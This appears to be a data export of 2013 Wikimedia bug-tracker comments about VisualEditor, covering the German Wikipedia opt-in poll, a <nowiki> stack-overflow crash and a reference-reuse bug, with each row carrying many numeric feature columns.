wmgVisualEditorDefault would be set to false for dewiki.

wmgVisualEditorDisableForAnons would be left as true for dewiki.

Is this correct?"
245377,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","From bug 49998 comment 8:

---
In the quick poll (see #7) the results at the moment are as following:

1) enabeling VE as default for all users: 21 votes
2) VE as default for logged-in users: 6 votes
3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
4) enabeling VE under another link name (suggestion was ""Visual Editor (beta)""
instead of ""Bearbeiten"" (""edit"")): 31 votes

According to this large majority of users who oppose defaulting VE by tomorrow,
I hereby ask you to put VE back to opt-in for logged-in users until the most
important bugs are fixed. Thank you.
---",,,1375070446,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.5,0.0,0.5,0.5,3.0,13.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.5,1.5,0.0,0.0,0.5,3.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,3.0,8.5,0.0,0.0,4.5,0.0,0.0,0.5,0.5,2.0,0.0,4.5,0.0,2.0,13.0,4.0,0.0,4.0,0.0,2.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,1.0,3.1635864135864136,0.6777389277389277,"From bug 49998 comment 8:

---
In the quick poll (see #7) the results at the moment are as following:

1) enabeling VE as default for all users: 21 votes
2) VE as default for logged-in users: 6 votes
3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
4) enabeling VE under another link name (suggestion was ""Visual Editor (beta)""
instead of ""Bearbeiten"" (""edit"")): 31 votes

According to this large majority of users who oppose defaulting VE by tomorrow,
I hereby ask you to put VE back to opt-in for logged-in users until the most
important bugs are fixed. Thank you.
---"
245372,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","From bug 49998 comment 7:

---
the German wikipedia just started a quick poll over the weekend to at least
postpone this activation for anonymous users on monday:

https://de.wikipedia.org/wiki/Wikipedia:Umfragen/VisualEditor_Opt-in

the poll has currently also a option for the previous state where VE was Opt-in
for users instead of Opt-out if this is still possible.

It would be appreciated to take the outcome on monday into account and postpone
this activation for dewiki if desired.
---",,,1375070430,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,18.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,3.0,8.0,3.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,18.0,9.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.9456521739130435,0.6739130434782609,"From bug 49998 comment 7:

---
the German wikipedia just started a quick poll over the weekend to at least
postpone this activation for anonymous users on monday:

URL

the poll has currently also a option for the previous state where VE was Opt-in
for users instead of Opt-out if this is still possible.

It would be appreciated to take the outcome on monday into account and postpone
this activation for dewiki if desired.
---"
53948,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1374661020,1375139113.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.5,"

--------------------------
**Version**: unspecified
**Severity**: major"
253214,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare",Now fixed.,,,1375139113,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Now fixed.
253211,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 76220 merged by jenkins-bot:
Don't compare annotations directly with ve.compare()

https://gerrit.wikimedia.org/r/76220",,,1375127248,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.55,1.0,"Change 76220 merged by jenkins-bot:
Don't compare annotations directly with ve.compare()

GERRIT_URL"
253206,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 76220 had a related patch set uploaded by Jforrester:
Don't compare annotations directly with ve.compare()

https://gerrit.wikimedia.org/r/76220",,,1374883810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 76220 had a related patch set uploaded by Jforrester:
Don't compare annotations directly with ve.compare()

GERRIT_URL"
253199,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","(In reply to comment #4)
> https://www.mediawiki.org/w/index.php?title=Extension:MassMessage/
> Design&oldid=745378&veaction=edit
> 
> When I go to this URL in Google Chrome/OS X/Version 27.0.1453.116, I get the
> following error in my JavaScript console:
> 
> Uncaught RangeError: Maximum call stack size exceeded
> oo.compare
> oo.compare
[…]

This is now masked by some significant performance improvements we made (so it ""works""), but we think it's still an issue; keeping open.",,,1374796813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,6.0,5.0,11.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,3.129032258064516,0.6451612903225806,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
[…]

This is now masked by some significant performance improvements we made (so it ""works""), but we think it's still an issue; keeping open."
253193,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","https://www.mediawiki.org/w/index.php?title=Extension:MassMessage/Design&oldid=745378&veaction=edit

When I go to this URL in Google Chrome/OS X/Version 27.0.1453.116, I get the following error in my JavaScript console:

Uncaught RangeError: Maximum call stack size exceeded
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare",,,1374730027,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.6,0.0,0.2,0.6,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.8,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,2.8,0.2,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6,0.6,2.2,0.0,0.0,0.0,0.6,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,5.3853448275862075,0.09333855799373039,"URL

When I go to this URL in Google Chrome/OS X/Version 27.0.1453.116, I get the following error in my JavaScript console:

Uncaught RangeError: Maximum call stack size exceeded
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare
oo.compare"
253190,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 75636 merged by jenkins-bot:
Put <nowiki> edting in experimental for now

https://gerrit.wikimedia.org/r/75636",,,1374683103,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,4.05,1.0,"Change 75636 merged by jenkins-bot:
Put <nowiki> edting in experimental for now

GERRIT_URL"
253187,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 75636 had a related patch set uploaded by Jforrester:
Put <nowiki> edting in experimental for now

https://gerrit.wikimedia.org/r/75636",,,1374682887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,4.391304347826087,1.0,"Change 75636 had a related patch set uploaded by Jforrester:
Put <nowiki> edting in experimental for now

GERRIT_URL"
253183,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","[Sorry, somehow it was created without a description.]

On the latest master I cannot edit a page that has <nowiki> in it. VisualEditor appears to be loading with the ""progress bar"", but doesn't go to actual editing mode.

Versions:
VisualEditor 393807462e9d04ec5e437cb50ef1d03e5644e9be
Parsoid be8a7dea49bd70692ef574a1bb7c7a70584d77e3
core e617dc6c8f2ce1d867ddadcd4bc3de098a84ff07",,,1374661437,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,11.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,5.0,9.0,8.0,0.0,3.0,0.0,5.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,5.0,5.34375,0.8125,"[Sorry, somehow it was created without a description.]

On the latest master I cannot edit a page that has <nowiki> in it. VisualEditor appears to be loading with the ""progress bar"", but doesn't go to actual editing mode.

Versions:
VisualEditor 393807462e9d04ec5e437cb50ef1d03e5644e9be
Parsoid be8a7dea49bd70692ef574a1bb7c7a70584d77e3
core e617dc6c8f2ce1d867ddadcd4bc3de098a84ff07"
53689,VisualEditor: Newly-added references need a page save before being reusable,"Apologies if this is a duplicate; I haven't found a report about this.

If you add a new reference with VisualEditor, you can't immediately reuse it with the reference editor; it doesn't show up in the list. You need to save the page and re-open the reference editor for that reference to show.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1374250680,1377889823.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-shna2ollivhvhx6ukpk5,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,8.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.7951807228915664,0.6385542168674698,"Apologies if this is a duplicate; I haven't found a report about this.

If you add a new reference with VisualEditor, you can't immediately reuse it with the reference editor; it doesn't show up in the list. You need to save the page and re-open the reference editor for that reference to show.

--------------------------
**Version**: unspecified
**Severity**: normal"
462236,VisualEditor: Newly-added references need a page save before being reusable,This is still the case for references added inside a table though?,,,1432297031,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,98,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,1.0,This is still the case for references added inside a table though?
238135,VisualEditor: Newly-added references need a page save before being reusable,"Change 81964 merged by jenkins-bot:
Re-build reference search index so they can be used mid-edit

https://gerrit.wikimedia.org/r/81964",,,1377889950,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.92,"Change 81964 merged by jenkins-bot:
Re-build reference search index so they can be used mid-edit

GERRIT_URL"
238133,VisualEditor: Newly-added references need a page save before being reusable,Now fixed in master and will be deployed next week.,,,1377889823,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,Now fixed in master and will be deployed next week.
238131,VisualEditor: Newly-added references need a page save before being reusable,"Change 81964 had a related patch set uploaded by Trevor Parscal:
Bug 52000 - Reusing new reference groups

https://gerrit.wikimedia.org/r/81964",,,1377885677,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.590909090909091,1.0,"Change 81964 had a related patch set uploaded by Trevor Parscal:
Bug 52000 - Reusing new reference groups

GERRIT_URL"
238127,VisualEditor: Newly-added references need a page save before being reusable,"So bug reports are taking 2 weeks to be assessed and assigned? That sounds like bad news. Glad to see it's now ""highest"", thanks.  I'm amazed it took so long to be reported as a bug, and suspect it's because the experience of adding refs has been so dreadful that people haven't picked up on this specific aspect to report as a distinctive bug. Good luck.",,,1375427074,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,1.0,11.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,15.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,4.0,5.0,6.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,5.0,15.0,0.0,1.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,3.625,0.775,"So bug reports are taking 2 weeks to be assessed and assigned? That sounds like bad news. Glad to see it's now ""highest"", thanks.  I'm amazed it took so long to be reported as a bug, and suspect it's because the experience of adding refs has been so dreadful that people haven't picked up on this specific aspect to report as a distinctive bug. Good luck."
238122,VisualEditor: Newly-added references need a page save before being reusable,"(In reply to comment #2)
> I can think of possible two reasons why this bug has not been given high
> priority:

You forgot option 3: We hadn't got to this bug report yet (aka, ""AGF""). :-)

Now marked appropriately.",,,1375406536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-shna2ollivhvhx6ukpk5,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,7.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,5.0,7.0,2.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.926829268292683,0.8048780487804879,"(In reply to comment #2)
QUOTE
QUOTE

You forgot option 3: We hadn't got to this bug report yet (aka, ""AGF""). :-)

